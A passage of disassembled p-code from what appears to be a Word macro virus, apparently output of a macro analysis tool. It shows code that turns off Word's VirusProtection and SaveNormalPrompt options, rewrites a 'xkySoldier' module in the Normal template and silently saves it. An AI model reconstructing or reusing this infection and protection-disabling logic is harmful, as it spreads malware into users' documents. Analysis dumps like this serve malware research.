' 	EndIf 
' Line #137:
' 	Ld Options 
' 	MemLd VirusProtection 
' 	LitVarSpecial (True)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	St VirStat 
' 	EndIf 
' Line #138:
' 	LitDI2 0x0002 
' 	LitStr 0x000C "const NStat="
' 	Ld NorStat 
' 	Concat 
' 	Ld dc 
' 	ArgsMemCall ReplaceLine 0x0002 
' Line #139:
' 	LitDI2 0x0003 
' 	LitStr 0x000C "const VStat="
' 	Ld VirStat 
' 	Concat 
' 	Ld dc 
' 	ArgsMemCall ReplaceLine 0x0002 
' Line #140:
' 	SetStmt 
' 	LitStr 0x000A "xkySoldier"
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	Set dc 
' Line #141:
' 	LitDI2 0x0002 
' 	LitStr 0x000C "const NStat="
' 	Ld NorStat 
' 	Concat 
' 	Ld dc 
' 	ArgsMemCall ReplaceLine 0x0002 
' Line #142:
' 	LitDI2 0x0003 
' 	LitStr 0x000C "const VStat="
' 	Ld VirStat 
' 	Concat 
' 	Ld dc 
' 	ArgsMemCall ReplaceLine 0x0002 
' Line #143:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #144:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #145:
' 	Ld NormalTemplate 
' 	ArgsMemCall Save 0x0000 
' Line #146:
' 	LitVarSpecial (True)
' 	Ld NormalTemplate 
' 	MemSt Saved 
' Line #147:
' 	EndSub 
' Line #148:
' 	FuncDefn (Sub ToolsMacro())
' Line #149:
' 	Dim 
' 	VarDefn i (As Byte)
' 	VarDefn n (As Integer)
' 	VarDefn pth (As String)
' Line #150:
…